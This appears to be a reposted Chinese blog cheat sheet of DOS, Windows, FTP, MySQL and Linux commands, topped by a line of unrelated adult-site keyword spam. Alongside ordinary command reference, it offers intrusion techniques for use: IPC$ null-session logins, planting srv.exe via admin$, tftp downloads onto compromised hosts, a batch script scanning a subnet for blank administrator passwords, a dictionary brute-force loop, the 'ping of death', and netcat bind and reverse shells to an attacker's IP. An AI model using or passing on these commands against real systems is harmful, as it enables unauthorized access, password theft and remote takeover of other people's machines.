一区二区三区日韩精品-日韩经典一区二区三区-五月激情综合丁香婷婷-欧美精品中文字幕专区

分享

DOS命令 DOS批處理 ECHO 系統(tǒng)變量

 mtjs 2010-02-24
source:http://zhousicheng./b_035

 MS-DOS是Microsoft Disk Operating System的簡(jiǎn)稱,意即由美國(guó)微軟公司(Microsoft)提供的磁盤(pán)操作系統(tǒng)。在Windows 95以前,DOS是PC兼容電腦的最基本配備,而MS-DOS則是最普遍使用的PC兼容DOS。 

  最基本的MS-DOS系統(tǒng)由一個(gè)基于MBR的BOOT引導(dǎo)程序和三個(gè)文件模塊組成。 這三個(gè)模塊是輸入輸出模塊(IO.SYS)、文件管理模塊(MSDOS.SYS)及命令解釋模塊(COMMAND.COM)。 

  除此之外,微軟還在零售的MS-DOS系統(tǒng)包中加入了若干標(biāo)準(zhǔn)的外部程序(即外部命令),這才與內(nèi)部命令(即由COMMAND.COM解釋執(zhí)行的命令)一同構(gòu)建起一個(gè)在磁盤(pán)操作時(shí)代相對(duì)完備的人機(jī)交互環(huán)境。 

  MS-DOS一般使用命令行界面來(lái)接受用戶的指令,不過(guò)在后期的MS-DOS版本中,DOS程序也可以通過(guò)調(diào)用相應(yīng)的DOS中斷來(lái)進(jìn)入圖形模式,即DOS下的圖形界面程序。


 

DOS命令大全(經(jīng)典收藏)
http://wuhua./blog/32374
 

net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接 
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接 
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸后映射對(duì)方C:到本地為H: 
net use h: \\ip\c$ 登陸后映射對(duì)方C:到本地為H: 
net use \\ip\ipc$ /del 刪除IPC鏈接 
net use h: /del 刪除映射對(duì)方到本地的為H:的映射 
net user 用戶名 密碼 /add 建立用戶 
net user guest /active:yes 激活guest用戶 
net user 查看有哪些用戶 
net user 帳戶名 查看帳戶的屬性 
net localgroup administrators 用戶名 /add 把"用戶"添加到管理員中使其具有管理員權(quán)限,注意:administrator后加s用復(fù)數(shù) 
net start 查看開(kāi)啟了哪些服務(wù) 
net start 服務(wù)名  開(kāi)啟服務(wù);(如:net start telnet, net start schedule) 
net stop 服務(wù)名 停止某服務(wù) 
net time \\目標(biāo)ip 查看對(duì)方時(shí)間 
net time \\目標(biāo)ip /set 設(shè)置本地計(jì)算機(jī)時(shí)間與"目標(biāo)IP"主機(jī)的時(shí)間同步,加上參數(shù)/yes可取消確認(rèn)信息 
net view 查看本地局域網(wǎng)內(nèi)開(kāi)啟了哪些共享 
net view \\ip 查看對(duì)方局域網(wǎng)內(nèi)開(kāi)啟了哪些共享 
net config 顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置 
net logoff 斷開(kāi)連接的共享 
net pause 服務(wù)名 暫停某服務(wù) 
net send ip "文本信息" 向?qū)Ψ桨l(fā)信息 
net ver 局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息 
net share 查看本地開(kāi)啟的共享 
net share ipc$ 開(kāi)啟ipc$共享 
net share ipc$ /del 刪除ipc$共享 
net share c$ /del 刪除C:共享 
net user guest 12345 用guest用戶登陸后用將密碼改為12345 
net password 密碼 更改系統(tǒng)登陸密碼 
netstat -a 查看開(kāi)啟了哪些端口,常用netstat -an 
netstat -n 查看端口的網(wǎng)絡(luò)連接情況,常用netstat -an 
netstat -v 查看正在進(jìn)行的工作 
netstat -p 協(xié)議名 例:netstat -p tcq/ip 查看某協(xié)議使用情況(查看tcp/ip協(xié)議使用情況) 
netstat -s 查看正在使用的所有協(xié)議使用情況 
nbtstat -A ip 對(duì)方136到139其中一個(gè)端口開(kāi)了的話,就可查看對(duì)方最近登陸的用戶名(03前的為用戶名)-注意:參數(shù)-A要大寫(xiě) 
tracert -參數(shù) ip(或計(jì)算機(jī)名) 跟蹤路由(數(shù)據(jù)包),參數(shù):"-w數(shù)字"用于設(shè)置超時(shí)間隔。 
ping ip(或域名) 向?qū)Ψ街鳈C(jī)發(fā)送默認(rèn)大小為32字節(jié)的數(shù)據(jù),參數(shù):"-l[空格]數(shù)據(jù)包大小";"-n發(fā)送數(shù)據(jù)次數(shù)";"-t"指一直ping。 
ping -t -l 65550 ip 死亡之ping(發(fā)送大于64K的文件并一直ping就成了死亡之ping) 
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數(shù)"/all"顯示全部配置信息 
tlist -t 以樹(shù)行列表顯示進(jìn)程(為系統(tǒng)的附加工具,默認(rèn)是沒(méi)有安裝的,在安裝目錄的Support/tools文件夾內(nèi)) 
kill -F 進(jìn)程名 加-F參數(shù)后強(qiáng)制結(jié)束某進(jìn)程(為系統(tǒng)的附加工具,默認(rèn)是沒(méi)有安裝的,在安裝目錄的Support/tools文件夾內(nèi)) 
del -F 文件名 加-F參數(shù)后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統(tǒng)、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪 除除只讀、隱藏、系統(tǒng)、存檔以外的文件。例如"DEL/AR *.*"表示刪除當(dāng)前目錄下所有只讀文件,"DEL/A-S *.*"表示刪除當(dāng)前目錄下除系統(tǒng)文件以外的所有文件 

#2 二: 

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時(shí)使用參數(shù)/Q 可取消刪除操作時(shí)的系統(tǒng)確認(rèn)就直接刪除。(二個(gè)命令作用相同) 
move 盤(pán)符\路徑\要移動(dòng)的文件名 存放移動(dòng)文件的路徑\移動(dòng)后文件名 移動(dòng)文件,用參數(shù)/y將取消確認(rèn)移動(dòng)目錄存在相同文件的提示就直接覆蓋 
fc one.txt two.txt > 3st.txt 對(duì)比二個(gè)文件并把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令 
at id號(hào) 開(kāi)啟已注冊(cè)的某個(gè)計(jì)劃任務(wù) 
at /delete 停止所有計(jì)劃任務(wù),用參數(shù)/yes則不需要確認(rèn)就直接停止 
at id號(hào) /delete 停止某個(gè)已注冊(cè)的計(jì)劃任務(wù) 
at 查看所有的計(jì)劃任務(wù) 
at \\ip time 程序名(或一個(gè)命令) /r 在某時(shí)間運(yùn)行對(duì)方某程序并重新啟動(dòng)計(jì)算機(jī) 
finger username @host 查看最近有哪些用戶登陸 
telnet ip 端口 遠(yuǎn)和登陸服務(wù)器,默認(rèn)端口為23 
open ip 連接到IP(屬telnet登陸后的命令) 
telnet 在本機(jī)上直接鍵入telnet 將進(jìn)入本機(jī)的telnet 
copy 路徑\文件名1 路徑\文件名2 /y 復(fù)制文件1到指定的目錄為文件2,用參數(shù)/y就同時(shí)取消確認(rèn)你要改寫(xiě)一份現(xiàn)存目錄文件 
copy c:\srv.exe \\ip\admin$ 復(fù)制本地c:\srv.exe到對(duì)方的admin下 
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內(nèi)容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排,參數(shù):/b指二進(jìn)制文件,/a指ASCLL格式文件 
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 復(fù)制對(duì)方admini$共享下的srv.exe文件(所有文件)至本地C: 
xcopy 要復(fù)制的文件或目錄樹(shù) 目標(biāo)地址\目錄名 復(fù)制文件和目錄樹(shù),用參數(shù)/Y將不提示覆蓋相同文件 
tftp -i 自己IP(用肉機(jī)作跳板時(shí)這用肉機(jī)IP) get server.exe c:\server.exe 登陸后,將"IP"的server.exe下載到目標(biāo)主機(jī)c:\server.exe 參數(shù):-i指以二進(jìn)制模式傳送,如傳送exe文件時(shí)用,如不加-i 則以ASCII模式(傳送文本文件模式)進(jìn)行傳送 
tftp -i 對(duì)方IP put c:\server.exe 登陸后,上傳本地c:\server.exe至主機(jī) 
ftp ip 端口 用于上傳文件至服務(wù)器或進(jìn)行文件操作,默認(rèn)端口為21。bin指用二進(jìn)制方式傳送(可執(zhí)行文件進(jìn));默認(rèn)為ASCII格式傳送(文本文件時(shí)) 
route print 顯示出IP路由,將主要顯示網(wǎng)絡(luò)地址Network addres,子網(wǎng)掩碼Netmask,網(wǎng)關(guān)地址Gateway addres,接口地址Interface 
arp 查看和處理ARP緩存,ARP是名字解析的意思,負(fù)責(zé)把一個(gè)IP解析成一個(gè)物理性的MAC地址。arp -a將顯示出全部信息 
start 程序名或命令 /max 或/min 新開(kāi)一個(gè)新窗口并最大化(最小化)運(yùn)行某程序或命令 
mem 查看cpu使用情況 
attrib 文件名(目錄名) 查看某文件(目錄)的屬性 
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統(tǒng),隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數(shù):/Q顯示文件及目錄屬系統(tǒng)哪個(gè)用戶,/T:C顯示文件創(chuàng)建時(shí)間,/T:A顯示文件上次被訪問(wèn)時(shí)間,/T:W上次被修改時(shí)間 
date /t 、 time /t 使用此參數(shù)即"DATE/T"、"TIME/T"將只顯示當(dāng)前日期和時(shí)間,而不必輸入新日期和時(shí)間 
set 指定環(huán)境變量名稱=要指派給變量的字符 設(shè)置環(huán)境變量 
set 顯示當(dāng)前所有的環(huán)境變量 
set p(或其它字符) 顯示出當(dāng)前以字符p(或其它字符)開(kāi)頭的所有環(huán)境變量 
pause 暫停批處理程序,并顯示出:請(qǐng)按任意鍵繼續(xù).... 
if 在批處理程序中執(zhí)行條件處理(更多說(shuō)明見(jiàn)if命令及變量) 
goto 標(biāo)簽 將cmd.exe導(dǎo)向到批處理程序中帶標(biāo)簽的行(標(biāo)簽必須單獨(dú)一行,且以冒號(hào)打頭,例如:":start"標(biāo)簽) 
call 路徑\批處理文件名 從批處理程序中調(diào)用另一個(gè)批處理程序 (更多說(shuō)明見(jiàn)call /?) 
for 對(duì)一組文件中的每一個(gè)文件執(zhí)行某個(gè)特定命令(更多說(shuō)明見(jiàn)for命令及變量) 
echo on或off 打開(kāi)或關(guān)閉echo,僅用echo不加參數(shù)則顯示當(dāng)前echo設(shè)置 
echo 信息 在屏幕上顯示出信息 
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中 
findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello 
find 文件名 查找某文件 
title 標(biāo)題名字 更改CMD窗口標(biāo)題名字 
color 顏色值 設(shè)置cmd控制臺(tái)前景和背景顏色;0=黑、1=藍(lán)、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍(lán)、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白 
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統(tǒng)一改為:EntSky\ ) 

#3 三: 

ver 在DOS窗口下顯示版本信息 
winver 彈出一個(gè)窗口顯示版本信息(內(nèi)存大小、系統(tǒng)版本、補(bǔ)丁版本、計(jì)算機(jī)名) 
format 盤(pán)符 /FS:類型 格式化磁盤(pán),類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS 
md 目錄名 創(chuàng)建目錄 
replace 源文件 要替換文件的目錄 替換文件 
ren 原文件名 新文件名 重命名文件名 
tree 以樹(shù)形結(jié)構(gòu)顯示出目錄,用參數(shù)-f 將列出第個(gè)文件夾中文件名稱 
type 文件名 顯示文本文件的內(nèi)容 
more 文件名 逐屏顯示輸出文件 
doskey 要鎖定的命令=字符 
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調(diào)用win2k命令,并創(chuàng)建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir= 
taskmgr 調(diào)出任務(wù)管理器 
chkdsk /F D: 檢查磁盤(pán)D并顯示狀態(tài)報(bào)告;加參數(shù)/f并修復(fù)磁盤(pán)上的錯(cuò)誤 
tlntadmn telnt服務(wù)admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務(wù)默認(rèn)端口23為其它任何端口 
exit 退出cmd.exe程序或目前,用參數(shù)/B則是退出當(dāng)前批處理腳本而不是cmd.exe 
path 路徑\可執(zhí)行文件的文件名 為可執(zhí)行文件設(shè)置一個(gè)路徑。 
cmd 啟動(dòng)一個(gè)win2K命令解釋窗口。參數(shù):/eff、/en 關(guān)閉、開(kāi)啟命令擴(kuò)展;更我詳細(xì)說(shuō)明見(jiàn)cmd /? 
regedit /s 注冊(cè)表文件名 導(dǎo)入注冊(cè)表;參數(shù)/S指安靜模式導(dǎo)入,無(wú)任何提示; 
regedit /e 注冊(cè)表文件名 導(dǎo)出注冊(cè)表 
cacls 文件名 參數(shù) 顯示或修改文件訪問(wèn)控制列表(ACL)——針對(duì)NTFS格式時(shí)。參數(shù):/D 用戶名:設(shè)定拒絕某用戶訪問(wèn);/P 用戶名:perm 替換指定用戶的訪問(wèn)權(quán)限;/G 用戶名:perm 賦予指定用戶訪問(wèn)權(quán)限;Perm 可以是: N 無(wú),R 讀取, W 寫(xiě)入, C 更改(寫(xiě)入),F(xiàn) 完全控制;例:cacls D:\test.txt /D pub 設(shè)定d:\test.txt拒絕pub用戶訪問(wèn)。 
cacls 文件名 查看文件的訪問(wèn)用戶權(quán)限列表 
REM 文本內(nèi)容 在批處理文件中添加注解 
netsh 查看或更改本地網(wǎng)絡(luò)配置情況 

#4 四: 

IIS服務(wù)命令: 
iisreset /reboot 重啟win2k計(jì)算機(jī)(但有提示系統(tǒng)將重啟信息出現(xiàn)) 
iisreset /start或stop 啟動(dòng)(停止)所有Internet服務(wù) 
iisreset /restart 停止然后重新啟動(dòng)所有Internet服務(wù) 
iisreset /status 顯示所有Internet服務(wù)狀態(tài) 
iisreset /enable或disable 在本地系統(tǒng)上啟用(禁用)Internet服務(wù)的重新啟動(dòng) 
iisreset /rebootonerror 當(dāng)啟動(dòng)、停止或重新啟動(dòng)Internet服務(wù)時(shí),若發(fā)生錯(cuò)誤將重新開(kāi)機(jī) 
iisreset /noforce 若無(wú)法停止Internet服務(wù),將不會(huì)強(qiáng)制終止Internet服務(wù) 
iisreset /timeout Val在到達(dá)逾時(shí)間(秒)時(shí),仍未停止Internet服務(wù),若指定/rebootonerror參數(shù),則電腦將會(huì)重新開(kāi)機(jī)。預(yù)設(shè)值為重新啟動(dòng)20秒,停止60秒,重新開(kāi)機(jī)0秒。 
FTP 命令: (后面有詳細(xì)說(shuō)明內(nèi)容) 
ftp的命令行格式為: 
ftp -v -d -i -n -g[主機(jī)名] -v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息。 
-d 使用調(diào)試方式。 
-n 限制ftp的自動(dòng)登錄,即不使用.netrc文件。 
-g 取消全局文件名。 
help [命令] 或 ?[命令] 查看命令說(shuō)明 
bye 或 quit 終止主機(jī)FTP進(jìn)程,并退出FTP管理方式. 
pwd 列出當(dāng)前遠(yuǎn)端主機(jī)目錄 
put 或 send 本地文件名 [上傳到主機(jī)上的文件名] 將本地一個(gè)文件傳送至遠(yuǎn)端主機(jī)中 
get 或 recv [遠(yuǎn)程主機(jī)文件名] [下載到本地后的文件名] 從遠(yuǎn)端主機(jī)中傳送至本地主機(jī)中 
mget [remote-files] 從遠(yuǎn)端主機(jī)接收一批文件至本地主機(jī) 
mput local-files 將本地主機(jī)中一批文件傳送至遠(yuǎn)端主機(jī) 
dir 或 ls [remote-directory] [local-file] 列出當(dāng)前遠(yuǎn)端主機(jī)目錄中的文件.如果有本地文件,就將結(jié)果寫(xiě)至本地文件 
ascii 設(shè)定以ASCII方式傳送文件(缺省值) 
bin 或 image 設(shè)定以二進(jìn)制方式傳送文件 
bell 每完成一次文件傳送,報(bào)警提示 
cdup 返回上一級(jí)目錄 
close 中斷與遠(yuǎn)程服務(wù)器的ftp會(huì)話(與open對(duì)應(yīng)) 
open host[port] 建立指定ftp服務(wù)器連接,可指定連接端口 
delete 刪除遠(yuǎn)端主機(jī)中的文件 
mdelete [remote-files] 刪除一批文件 
mkdir directory-name 在遠(yuǎn)端主機(jī)中建立目錄 
rename [from] [to] 改變遠(yuǎn)端主機(jī)中的文件名 
rmdir directory-name 刪除遠(yuǎn)端主機(jī)中的目錄 
status 顯示當(dāng)前FTP的狀態(tài) 
system 顯示遠(yuǎn)端主機(jī)系統(tǒng)類型 
user user-name [password] [account] 重新以別的用戶名登錄遠(yuǎn)端主機(jī) 
open host [port] 重新建立一個(gè)新的連接 
prompt 交互提示模式 
macdef 定義宏命令 
lcd 改變當(dāng)前本地主機(jī)的工作目錄,如果缺省,就轉(zhuǎn)到當(dāng)前用戶的HOME目錄 
chmod 改變遠(yuǎn)端主機(jī)的文件權(quán)限 
case 當(dāng)為ON時(shí),用MGET命令拷貝的文件名到本地機(jī)器中,全部轉(zhuǎn)換為小寫(xiě)字母 
cd remote-dir 進(jìn)入遠(yuǎn)程主機(jī)目錄 
cdup 進(jìn)入遠(yuǎn)程主機(jī)目錄的父目錄 
! 在本地機(jī)中執(zhí)行交互shell,exit回到ftp環(huán)境,如!ls*.zip 

#5 五: 

MYSQL 命令: 
mysql -h主機(jī)地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級(jí)用戶root是沒(méi)有密碼的。 
(例:mysql -h110.110.110.110 -Uroot -P123456 
注:u與root可以不用加空格,其它也一樣) 
exit 退出MYSQL 
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼 
grant select on 數(shù)據(jù)庫(kù).* to 用戶名@登錄主機(jī) identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因?yàn)槭荕YSQL環(huán)境中的命令,所以后面都帶一個(gè)分號(hào)作為命令結(jié)束符) 
show databases; 顯示數(shù)據(jù)庫(kù)列表。剛開(kāi)始時(shí)才兩個(gè)數(shù)據(jù)庫(kù):mysql和test。mysql庫(kù)很重要它里面有MYSQL的系統(tǒng)信息,我們改密碼和新增用戶,實(shí)際上就是用這個(gè)庫(kù)進(jìn)行操作。 
use mysql; 
show tables; 顯示庫(kù)中的數(shù)據(jù)表 
describe 表名; 顯示數(shù)據(jù)表的結(jié)構(gòu) 
create database 庫(kù)名; 建庫(kù) 
use 庫(kù)名; 
create table 表名 (字段設(shè)定列表); 建表 
drop database 庫(kù)名; 
drop table 表名; 刪庫(kù)和刪表 
delete from 表名; 將表中記錄清空 
select * from 表名; 顯示表中的記錄 
mysqldump --opt school>school.bbb 備份數(shù)據(jù)庫(kù):(命令在DOS的\\mysql\\bin目錄下執(zhí)行);注釋:將數(shù)據(jù)庫(kù)school備份到school.bbb文件,school.bbb 是一個(gè)文本文件,文件名任取,打開(kāi)看看你會(huì)有新發(fā)現(xiàn)。 
win2003系統(tǒng)下新增命令(實(shí)用部份): 
shutdown /參數(shù) 關(guān)閉或重啟本地或遠(yuǎn)程主機(jī)。 
參數(shù)說(shuō)明:/S 關(guān)閉主機(jī),/R 重啟主機(jī), /T 數(shù)字 設(shè)定延時(shí)的時(shí)間,范圍0~180秒之間, /A取消開(kāi)機(jī),/M //IP 指定的遠(yuǎn)程主機(jī)。 
例:shutdown /r /t 0 立即重啟本地主機(jī)(無(wú)延時(shí)) 
taskill /參數(shù) 進(jìn)程名或進(jìn)程的pid 終止一個(gè)或多個(gè)任務(wù)和進(jìn)程。 
參數(shù)說(shuō)明:/PID 要終止進(jìn)程的pid,可用tasklist命令獲得各進(jìn)程的pid,/IM 要終止的進(jìn)程的進(jìn)程名,/F 強(qiáng)制終止進(jìn)程,/T 終止指定的進(jìn)程及他所啟動(dòng)的子進(jìn)程。 
tasklist 顯示當(dāng)前運(yùn)行在本地和遠(yuǎn)程主機(jī)上的進(jìn)程、服務(wù)、服務(wù)各進(jìn)程的進(jìn)程標(biāo)識(shí)符(PID)。 
參數(shù)說(shuō)明:/M 列出當(dāng)前進(jìn)程加載的dll文件,/SVC 顯示出每個(gè)進(jìn)程對(duì)應(yīng)的服務(wù),無(wú)參數(shù)時(shí)就只列出當(dāng)前的進(jìn)程。 

#6 六: 

Linux系統(tǒng)下基本命令: 要區(qū)分大小寫(xiě) 
uname 顯示版本信息(同win2K的 ver) 
dir 顯示當(dāng)前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir) 
pwd 查詢當(dāng)前所在的目錄位置 
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。 
cat 文件名 查看文件內(nèi)容 
cat >abc.txt 往abc.txt文件中寫(xiě)上內(nèi)容。 
more 文件名 以一頁(yè)一頁(yè)的方式顯示一個(gè)文本文件。 
cp 復(fù)制文件 
mv 移動(dòng)文件 
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄 
mkdir 目錄名 建立目錄 
rmdir 刪除子目錄,目錄內(nèi)沒(méi)有文檔。 
chmod 設(shè)定檔案或目錄的存取權(quán)限 
grep 在檔案中查找字符串 
diff 檔案文件比較 
find 檔案搜尋 
date 現(xiàn)在的日期、時(shí)間 
who 查詢目前和你使用同一臺(tái)機(jī)器的人以及Login時(shí)間地點(diǎn) 
w 查詢目前上機(jī)者的詳細(xì)資料 
whoami 查看自己的賬號(hào)名稱 
groups 查看某人的Group 
passwd 更改密碼 
history 查看自己下過(guò)的命令 
ps 顯示進(jìn)程狀態(tài) 
kill 停止某進(jìn)程 
gcc 黑客通常用它來(lái)編譯C語(yǔ)言寫(xiě)的文件 
su 權(quán)限轉(zhuǎn)換為指定使用者 
telnet IP telnet連接對(duì)方主機(jī)(同win2K),當(dāng)出現(xiàn)bash$時(shí)就說(shuō)明連接成功。 
ftp ftp連接上某服務(wù)器(同win2K) 

附:批處理命令與變量 

1:for命令及變量 基本格式: 
FOR /參數(shù) %variable IN (set) DO command [command_parameters] %variable:指定一個(gè)單一字母可替換的參數(shù),如:%i ,而指定一個(gè)變量則用:%%i ,而調(diào)用變量時(shí)用:%i% ,變量是區(qū)分大小寫(xiě)的(%i 不等于 %I)。 
批處理每次能處理的變量從%0—%9共10個(gè),其中%0默認(rèn)給批處理文件名使用,%1默認(rèn)為使用此批處理時(shí)輸入的的第一個(gè)值,同理:%2—%9 指輸入的第2-9個(gè)值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3 

(set):指定一個(gè)或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ "(1 1 254)"第一個(gè)"1"指起始值,第二個(gè)"1"指增長(zhǎng)量,第三個(gè)"254"指結(jié)束值,即:從1到254;"(1 -1 254)"說(shuō)明:即從254到1 } 

command:指定對(duì)第個(gè)文件執(zhí)行的命令,如:net use命令;如要執(zhí)行多個(gè)命令時(shí),命令這間加:& 來(lái)隔開(kāi) 
command_parameters:為特定命令指定參數(shù)或命令行開(kāi)關(guān) 

IN (set):指在(set)中取值;DO command :指執(zhí)行command 

參數(shù):/L 指用增量形式{ (set)為增量形式時(shí) };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時(shí),如(d:\pass.txt)時(shí) }。 
用法舉例: 
@echo off 
echo 用法格式:test.bat *.*.* > test.txt 

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt 
存為test.bat 說(shuō)明:對(duì)指定的一個(gè)C類網(wǎng)段的254個(gè)IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。 

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認(rèn)的 %1;%%G 為變量(ip的最后一位);& 用來(lái)隔開(kāi)echo 和net use 這二個(gè)命令;| 指建立了ipc$后,在結(jié)果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長(zhǎng)量,結(jié)止值。 
@echo off 
echo 用法格式:ok.bat ip 
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 
存為:ok.exe 說(shuō)明:輸入一個(gè)IP后,用字典文件d:\pass.dic來(lái)暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認(rèn))。 

#7 七: 

2:if命令及變量 基本格式: 
IF [not] errorlevel 數(shù)字 命令語(yǔ)句 如果程序運(yùn)行最后返回一個(gè)等于或大于指定數(shù)字的退出編碼,指定條件為"真"。 
例:IF errorlevel 0 命令 指程序執(zhí)行后返回的值為0時(shí),就值行后面的命令;IF not errorlevel 1 命令指程序執(zhí)行最后返回的值不等于1,就執(zhí)行后面的命令。 
0 指發(fā)現(xiàn)并成功執(zhí)行(真);1 指沒(méi)有發(fā)現(xiàn)、沒(méi)執(zhí)行(假)。 
IF [not] 字符串1==字符串2 命令語(yǔ)句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就執(zhí)行后面的命令。 
例:"if "%2%"=="4" goto start"指:如果輸入的第二個(gè)變量為4時(shí),執(zhí)行后面的命令(注意:調(diào)用變量時(shí)就%變量名%并加" ") 
IF [not] exist 文件名 命令語(yǔ)句 如果指定的文件名存在,就執(zhí)行后面的命令。 
例:"if not nc.exe goto end"指:如果沒(méi)有發(fā)現(xiàn)nc.exe文件就跳到":end"標(biāo)簽處。 
IF [not] errorlevel 數(shù)字 命令語(yǔ)句 else 命令語(yǔ)句或 IF [not] 字符串1==字符串2 命令語(yǔ)句 else 命令語(yǔ)句或 IF [not] exist 文件名 命令語(yǔ)句 else 命令語(yǔ)句 加上:else 命令語(yǔ)句后指:當(dāng)前面的條件不成立時(shí),就指行else后面的命令。注意:else 必須與 if 在同一行才有效。 當(dāng)有del命令時(shí)需把del命令全部?jī)?nèi)容用< >括起來(lái),因?yàn)閐el命令要單獨(dú)一行時(shí)才能執(zhí)行,用上< >后就等于是單獨(dú)一行了;例如:"if exist test.txt. else echo test.txt.missing ",注意命令中的"." 


(二)系統(tǒng)外部命令(均需下載相關(guān)工具): 

1、瑞士軍刀:nc.exe 

參數(shù)說(shuō)明: 
-h 查看幫助信息 
-d 后臺(tái)模式 
-e prog程序重定向,一但連接就執(zhí)行[危險(xiǎn)] 
-i secs延時(shí)的間隔 
-l 監(jiān)聽(tīng)模式,用于入站連接 
-L 監(jiān)聽(tīng)模式,連接天閉后仍然繼續(xù)監(jiān)聽(tīng),直到CTR+C 
-n IP地址,不能用域名 
-o film記錄16進(jìn)制的傳輸 
-p[空格]端口 本地端口號(hào) 
-r 隨機(jī)本地及遠(yuǎn)程端口 
-t 使用Telnet交互方式 
-u UDP模式 
-v 詳細(xì)輸出,用-vv將更詳細(xì) 
-w數(shù)字 timeout延時(shí)間隔 
-z 將輸入,輸出關(guān)掉(用于掃錨時(shí)) 
基本用法: 
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機(jī)的80端口 
nc -l -p 80 開(kāi)啟本機(jī)的TCP 80端口并監(jiān)聽(tīng) 
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024端口 
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機(jī)的cmdshell在remote的TCP 5354端口 
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機(jī)的cmdshell并反向連接192.168.0.2的5354端口 
高級(jí)用法: 
nc -L -p 80 作為蜜罐用1:開(kāi)啟并不停地監(jiān)聽(tīng)80端口,直到CTR+C為止 
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開(kāi)啟并不停地監(jiān)聽(tīng)80端口,直到CTR+C,同時(shí)把結(jié)果輸出到c:\log.txt 
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開(kāi)啟并不停地監(jiān)聽(tīng)80端口,直到CTR+C,并把c:\honeyport.txt中內(nèi)容送入管道中,亦可起到傳送文件作用 
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開(kāi)啟并不停地監(jiān)聽(tīng)80端口,直到CTR+C,并把c:\honeyport.txt中內(nèi)容送入管道中,亦可起到傳送文件作用 
本機(jī)上用:nc -l -p 本機(jī)端口 
在對(duì)方主機(jī)上用:nc -e cmd.exe 本機(jī)IP -p 本機(jī)端口 *win2K 
nc -e /bin/sh 本機(jī)IP -p 本機(jī)端口 *linux,unix 反向連接突破對(duì)方主機(jī)的防火墻 
本機(jī)上用:nc -d -l -p 本機(jī)端口 < 要傳送的文件路徑及名稱 
在對(duì)方主機(jī)上用:nc -vv 本機(jī)IP 本機(jī)端口 > 存放文件的路徑及名稱 傳送文件到對(duì)方主機(jī) 
備 注: 
| 管道命令 
< 或 > 重定向命令。"<",例如:tlntadmn < test.txt 指把test.txt的內(nèi)容賦值給tlntadmn命令 
@ 表示執(zhí)行@后面的命令,但不會(huì)顯示出來(lái)(后臺(tái)執(zhí)行);例:@dir c:\winnt >> d:\log.txt 意思是:后臺(tái)執(zhí)行dir,并把結(jié)果存在d:\log.txt中 
>與>>的區(qū)別  ">"指:覆蓋;">>"指:保存到(添加到)。 
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個(gè)命令分別執(zhí)行二次比較看:用>>的則是把二次的結(jié)果都保存了,而用:>則只有一次的結(jié)果,是因?yàn)榈诙蔚慕Y(jié)果 把第一次的覆蓋了。 

#8 八: 

2、掃錨工具:xscan.exe 

基本格式 
xscan -host <起始IP>[-<終止IP>] <檢測(cè)項(xiàng)目> [其他選項(xiàng)] 掃錨"起始IP到終止IP"段的所有主機(jī)信息 
xscan -file <主機(jī)列表文件名> <檢測(cè)項(xiàng)目> [其他選項(xiàng)] 掃錨"主機(jī)IP列表文件名"中的所有主機(jī)信息 
檢測(cè)項(xiàng)目 
-active 檢測(cè)主機(jī)是否存活 
-os 檢測(cè)遠(yuǎn)程操作系統(tǒng)類型(通過(guò)NETBIOS和SNMP協(xié)議) 
-port 檢測(cè)常用服務(wù)的端口狀態(tài) 
-ftp 檢測(cè)FTP弱口令 
